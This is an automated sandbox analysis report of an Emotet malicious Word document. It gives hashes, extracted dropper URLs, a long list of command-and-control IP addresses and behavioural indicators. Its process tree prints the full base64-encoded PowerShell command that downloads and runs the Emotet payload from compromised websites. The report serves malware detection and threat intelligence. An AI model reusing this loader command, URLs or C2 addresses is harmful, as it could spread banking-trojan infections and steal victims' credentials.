emotet | 2870c60a42715e18afa810f07d20a582cca11bcd34722301db28d6c3bfab0df6

Analysis

max time kernel
135s
max time network
146s
platform
windows10_x64
resource
win10
submitted
19/08/2020, 16:01

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General

Target
emotet_e3_2870c60a42715e18afa810f07d20a582cca11bcd34722301db28d6c3bfab0df6_2020-08-19__160028._doc.doc
Size 198KB
Sample200819-8jjew119v2
SHA256 2870c60a42715e18afa810f07d20a582cca11bcd34722301db28d6c3bfab0df6
MD5 1f1cb1d714fa730169ed9c812ef92ce2
SHA1 852278057438a55b4956a79d85bdf5aa4dce85a4
SHA512 4749c7ea10cc45d5dcab74b3561b54c21a853a14381e752d286ffc958954edf9691a86efd460421ac5d2081d1effb6dac62a333f641074936ff6319c90fe9f6d
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://givingthanksdaily.com/cgi-bin/UUZ/
exe.dropper
http://taliedaran.ir/wp-admin/xoflMkAX/
exe.dropper
https://ceramicaburguina.com.br/Backup_Sistemas/VJFrtw/
exe.dropper
http://bercpro.be/cgi-bin/TMFfK/
exe.dropper
https://www.iqos-heets.com/wp-content/uploads/kOgjl/
exe.dropper
https://technilab.nl/wp-content/zSv/
exe.dropper
https://andmak.pl/strona/DczUjFV/

Extracted

Family

emotet

112.78.142.170:80
178.128.14.92:8080
178.238.232.46:443
185.142.236.163:443
192.210.217.94:8080
192.241.220.183:8080
105.209.235.113:8080
182.187.139.200:8080
188.0.135.237:80
201.213.177.139:80
31.146.61.34:80
202.5.47.71:80
81.17.93.134:80
192.163.221.191:8080
97.104.107.190:80
201.235.10.215:80
181.114.114.203:80
51.38.201.19:7080
46.32.229.152:8080
177.144.130.105:443
188.251.213.180:443
91.83.93.103:443
118.70.15.19:8080
197.83.232.19:80
195.201.56.70:8080
172.105.78.244:8080
177.37.81.212:443
172.96.190.154:8080
177.32.8.85:80
107.161.30.122:8080
175.29.183.2:80
86.57.216.23:80
185.86.148.68:443
198.57.203.63:8080
115.79.195.246:80
177.94.227.143:80
50.116.78.109:8080
181.134.9.162:80
92.24.51.238:80
197.249.6.179:443
87.106.231.60:8080
41.185.29.128:8080
78.189.60.109:443
81.214.253.80:443
77.74.78.80:443
105.213.67.88:80
143.95.101.72:8080
60.125.114.64:443
115.78.11.155:80
71.57.180.213:80
139.59.12.63:8080
203.153.216.178:7080
190.190.15.20:80
37.46.129.215:8080
190.53.144.120:80
203.153.216.182:7080
139.99.157.213:8080
86.98.143.163:80
178.33.167.120:8080
113.161.148.81:80
66.61.94.36:80
74.208.173.91:8080
157.7.164.178:8081
190.212.140.6:80
217.199.160.224:8080
46.105.131.68:8080
185.208.226.142:8080
179.62.238.49:80
179.5.118.12:80
216.75.37.196:8080
181.113.229.139:443
190.164.75.175:80
212.112.113.235:80
5.79.70.250:8080
75.127.14.170:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3188	3812	powersheLL.exe	67

Emotet Payload 5 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3388-15-0x0000000000A90000-0x0000000000A9C000-memory.dmp	emotet
behavioral2/memory/3388-15-0x0000000000A90000-0x0000000000A9C000-memory.dmp	emotet
behavioral2/memory/552-18-0x0000000000840000-0x000000000084C000-memory.dmp	emotet
behavioral2/memory/552-18-0x0000000000840000-0x000000000084C000-memory.dmp	emotet
behavioral2/memory/3388-20-0x0000000000000000-mapping.dmp	emotet

Blacklisted process makes network request 2 IoCs

flow	pid	Process
10	3188	powersheLL.exe
16	3188	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
3388	Us6tez.exe
552	ExplorerFrame.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\dsquery\ExplorerFrame.exe	Us6tez.exe

Program crash 1 IoCs

pid	pid_target	Process	procid_target
912	3388	WerFault.exe	74

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
720	WINWORD.EXE
720	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 21 IoCs

pid	Process
3188	powersheLL.exe
3188	powersheLL.exe
3188	powersheLL.exe
552	ExplorerFrame.exe
552	ExplorerFrame.exe
912	WerFault.exe
912	WerFault.exe
912	WerFault.exe
912	WerFault.exe
912	WerFault.exe
912	WerFault.exe
912	WerFault.exe
912	WerFault.exe
912	WerFault.exe
912	WerFault.exe
912	WerFault.exe
912	WerFault.exe
912	WerFault.exe
912	WerFault.exe
552	ExplorerFrame.exe
552	ExplorerFrame.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	3188	powersheLL.exe
Token: SeRestorePrivilege	912	WerFault.exe
Token: SeBackupPrivilege	912	WerFault.exe
Token: SeDebugPrivilege	912	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
720	WINWORD.EXE
720	WINWORD.EXE
720	WINWORD.EXE
720	WINWORD.EXE
720	WINWORD.EXE
720	WINWORD.EXE
720	WINWORD.EXE
720	WINWORD.EXE
720	WINWORD.EXE
3388	Us6tez.exe
3388	Us6tez.exe
552	ExplorerFrame.exe
552	ExplorerFrame.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3188 wrote to memory of 3388	3188	powersheLL.exe	74
PID 3188 wrote to memory of 3388	3188	powersheLL.exe	74
PID 3188 wrote to memory of 3388	3188	powersheLL.exe	74
PID 3388 wrote to memory of 552	3388	Us6tez.exe	75
PID 3388 wrote to memory of 552	3388	Us6tez.exe	75
PID 3388 wrote to memory of 552	3388	Us6tez.exe	75

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_2870c60a42715e18afa810f07d20a582cca11bcd34722301db28d6c3bfab0df6_2020-08-19__160028._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:720

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABTAF8AMQBsAHcAOABmAD0AKAAnAEkANQAwACcAKwAnADgANAAnACsAJwBwADAAJwApADsAJgAoACcAbgBlACcAKwAnAHcALQBpAHQAZQAnACsAJwBtACcAKQAgACQARQBuAFYAOgB0AEUAbQBQAFwAbwBmAEYAaQBDAGUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAFIARQBjAFQAbwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAYABlAGMAdQByAEkAVABZAFAAYABSAG8AYABUAG8AYwBgAE8AbAAiACAAPQAgACgAJwB0AGwAJwArACcAcwAxADIAJwArACcALAAgAHQAbABzADEAMQAnACsAJwAsACAAdABsACcAKwAnAHMAJwApADsAJABUAHUAMAA0AGgAeABpACAAPQAgACgAJwBVAHMAJwArACcANgB0AGUAegAnACkAOwAkAEoAbgA2AGsAMwBpAHMAPQAoACcAQwB2ACcAKwAnADkAbAAnACsAJwAxAHMAdAAnACkAOwAkAEMAcgA1AGoAdQBnAGkAPQAkAGUAbgB2ADoAdABlAG0AcAArACgAKAAnAFoAbgBnAE8AZgBmAGkAYwAnACsAJwBlADIAMAAnACsAJwAxADkAWgBuAGcAJwApACAALQBjAFIARQBQAGwAYQBjAEUAJwBaAG4AZwAnACwAWwBDAGgAQQBSAF0AOQAyACkAKwAkAFQAdQAwADQAaAB4AGkAKwAoACcALgAnACsAJwBlAHgAZQAnACkAOwAkAEUAbQB3ADkAMgBoAG0APQAoACcASQB3ADQAJwArACcAYQB6ADMAegAnACkAOwAkAEoAdwA3ADkAYQA5ADkAPQAuACgAJwBuAGUAJwArACcAdwAtAG8AYgBqACcAKwAnAGUAYwB0ACcAKQAgAE4ARQBUAC4AVwBFAGIAYwBMAGkARQBOAHQAOwAkAE4AdwA4AGIAbABnAGwAPQAoACcAaAB0ACcAKwAnAHQAcAA6AC8ALwBnAGkAdgBpAG4AZwB0ACcAKwAnAGgAJwArACcAYQBuAGsAcwBkAGEAaQAnACsAJwBsAHkALgBjAG8AbQAvAGMAZwBpAC0AJwArACcAYgBpAG4AJwArACcALwAnACsAJwBVAFUAWgAnACsAJwAvACoAJwArACcAaAB0AHQAcAA6AC8AJwArACcALwB0AGEAbABpACcAKwAnAGUAZABhAHIAYQAnACsAJwBuAC4AaQByAC8AdwBwAC0AJwArACcAYQBkAG0AaQBuAC8AeAAnACsAJwBvAGYAbABNAGsAQQBYACcAKwAnAC8AKgBoACcAKwAnAHQAdABwAHMAOgAvAC8AJwArACcAYwBlAHIAYQBtAGkAYwBhACcAKwAnAGIAdQByAGcAdQAnACsAJwBpAG4AYQAuACcAKwAnAGMAbwBtACcAKwAnAC4AYgByACcAKwAnAC8AQgBhACcAKwAnAGMAawB1AHAAXwBTAGkAJwArACcAcwB0ACcAKwAnAGUAJwArACcAbQBhACcAKwAnAHMAJwArACcALwAnACsAJwBWAEoARgByAHQAdwAvACoAaAB0AHQAJwArACcAcAAnACsAJwA6ACcAKwAnAC8ALwBiACcAKwAnAGUAcgBjAHAAcgBvAC4AJwArACcAYgAnACsAJwBlAC8AYwBnACcAKwAnAGkALQAnACsAJwBiAGkAbgAvAFQATQAnACsAJwBGACcAKwAnAGYASwAvACoAJwArACcAaAB0AHQAcABzACcAKwAnADoALwAvAHcAdwB3AC4AaQBxACcAKwAnAG8AcwAtAGgAJwArACcAZQBlAHQAJwArACcAcwAuAGMAbwBtAC8AdwAnACsAJwBwAC0AYwAnACsAJwBvAG4AJwArACcAdABlAG4AdAAvAHUAcABsAG8AYQBkAHMALwBrAE8AJwArACcAZwBqAGwALwAqAGgAdAB0AHAAcwA6AC8ALwB0AGUAYwBoAG4AaQBsAGEAJwArACcAYgAuAG4AbAAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwB6AFMAdgAvACoAJwArACcAaAB0AHQAcABzACcAKwAnADoALwAvAGEAbgAnACsAJwBkAG0AJwArACcAYQBrAC4AcABsACcAKwAnAC8AcwAnACsAJwB0AHIAbwBuAGEALwBEAGMAJwArACcAegBVAGoARgBWAC8AJwApAC4AIgBzAFAATABgAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEIAXwBuADkAMwB3AG8APQAoACcAVQAnACsAJwBiACcAKwAnADcAbQA3AGUAagAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABTADQAeQBiAHoAaQA1ACAAaQBuACAAJABOAHcAOABiAGwAZwBsACkAewB0AHIAeQB7ACQASgB3ADcAOQBhADkAOQAuACIAZABvAFcAbgBMAGAAbwBBAGQAZgBgAGkAbABFACIAKAAkAFMANAB5AGIAegBpADUALAAgACQAQwByADUAagB1AGcAaQApADsAJABHADMAegBoAHMAMgBqAD0AKAAnAEIAdgAwAGcAcQAnACsAJwBzAGQAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQB0ACcAKwAnAC0AJwArACcASQB0AGUAbQAnACkAIAAkAEMAcgA1AGoAdQBnAGkAKQAuACIAbABFAGAATgBnAFQAaAAiACAALQBnAGUAIAAyADYAMQA3ADYAKQAgAHsALgAoACcASQAnACsAJwBuACcAKwAnAHYAbwBrAGUALQBJAHQAZQBtACcAKQAoACQAQwByADUAagB1AGcAaQApADsAJABIAGoAMQBmAHYAXwB1AD0AKAAnAFEAZQAxAG0AYQAnACsAJwBuAGgAJwApADsAYgByAGUAYQBrADsAJABEADMAOQBkAHMAZgBsAD0AKAAnAEYANwAnACsAJwBnAHkAaQB0ACcAKwAnAGwAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABPAHEAdgA2AHQAcwB5AD0AKAAnAEQAagA2AHcAJwArACcAdQA0ACcAKwAnAGIAJwApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3188
- C:\Users\Admin\AppData\Local\Temp\Office2019\Us6tez.exe
  "C:\Users\Admin\AppData\Local\Temp\Office2019\Us6tez.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3388
- - C:\Windows\SysWOW64\dsquery\ExplorerFrame.exe
    "C:\Windows\SysWOW64\dsquery\ExplorerFrame.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:552
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3388 -s 276
    3⤵
    - Program crash
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:912

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/552-18-0x0000000000840000-0x000000000084C000-memory.dmp

Download

memory/720-3-0x000001BACC00E000-0x000001BACC012000-memory.dmp

Download

memory/720-6-0x000001BACC00C000-0x000001BACC00E000-memory.dmp

Download

memory/720-7-0x000001BACC14C000-0x000001BACC14E000-memory.dmp

Download

memory/720-8-0x000001BACC14E000-0x000001BACC14F000-memory.dmp

Download

memory/720-0-0x00007FFFB8FB0000-0x00007FFFB9676000-memory.dmp

Download

memory/720-5-0x000001BACBFFB000-0x000001BACC00C000-memory.dmp

Download

memory/720-4-0x000001BACC00C000-0x000001BACC00E000-memory.dmp

Download

memory/720-2-0x000001BACBFFB000-0x000001BACC00C000-memory.dmp

Download

memory/720-1-0x000001BACBCCD000-0x000001BACBCCF000-memory.dmp

Download

memory/912-21-0x0000000004AA0000-0x0000000004AA1000-memory.dmp

Download

memory/912-19-0x00000000046B0000-0x00000000046B1000-memory.dmp

Download

memory/3188-10-0x000001EC08820000-0x000001EC08821000-memory.dmp

Download

memory/3188-11-0x000001EC20C70000-0x000001EC20C71000-memory.dmp

Download

memory/3188-9-0x00007FFFB16F0000-0x00007FFFB20DC000-memory.dmp

Download

memory/3388-15-0x0000000000A90000-0x0000000000A9C000-memory.dmp

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